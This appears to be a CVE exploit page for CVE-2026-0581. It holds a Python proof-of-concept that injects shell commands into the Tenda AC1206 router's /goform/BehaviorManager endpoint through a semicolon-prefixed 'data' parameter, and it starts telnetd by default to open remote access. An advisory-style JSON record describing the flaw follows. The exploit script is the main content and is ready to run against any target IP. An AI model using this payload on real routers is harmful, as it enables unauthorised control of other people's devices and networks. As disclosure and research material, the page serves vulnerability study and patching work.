CVE-2026-0581

#!/usr/bin/env python3 """ CVE-2026-0581 PoC - Tenda AC1206 Command Injection Affected: Tenda AC1206 Firmware 15.03.06.23 Vulnerable Endpoint: /goform/BehaviorManager Vulnerable Parameters: modulename, option, data, switch """ import requests import sys import argparse def exploit(target_ip, command): """ Exploit command injection in Tenda AC1206 """ url = f"http://{target_ip}/goform/BehaviorManager" # Payload construction - inject command via 'data' parameter # Using semicolon to chain commands payload = f";{command}" data = { 'modulename': 'test', 'option': 'test', 'data': payload, 'switch': 'test' } try: print(f"[*] Sending exploit to {target_ip}") print(f"[*] Command: {command}") response = requests.post(url, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): parser = argparse.ArgumentParser(description='CVE-2026-0581 Exploit') parser.add_argument('target', help='Target IP address') parser.add_argument('-c', '--command', default='telnetd', help='Command to execute (default: telnetd)') args = parser.parse_args() print("="*60) print("CVE-2026-0581 - Tenda AC1206 Command Injection") print("="*60) result = exploit(args.target, args.command) if result: print("\n[+] Exploit sent successfully") print(f"Response: {result[:200]}...") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2026-0581", "sourceIdentifier": "[email protected]", "published": "2026-01-05T09:15:54.867", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Tenda AC1206 15.03.06.23. Affected by this issue is the function formBehaviorManager of the file /goform/BehaviorManager of the component httpd. Executing a manipulation of the argument modulename/option/data/switch can lead to command injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en Tenda AC1206 15.03.06.23. Afectada por este problema es la función formBehaviorManager del archivo /goform/BehaviorManager del componente httpd. La ejecución de una manipulación del argumento modulename/option/data/switch puede conducir a una inyección de comandos. El ataque puede lanzarse de forma remota. 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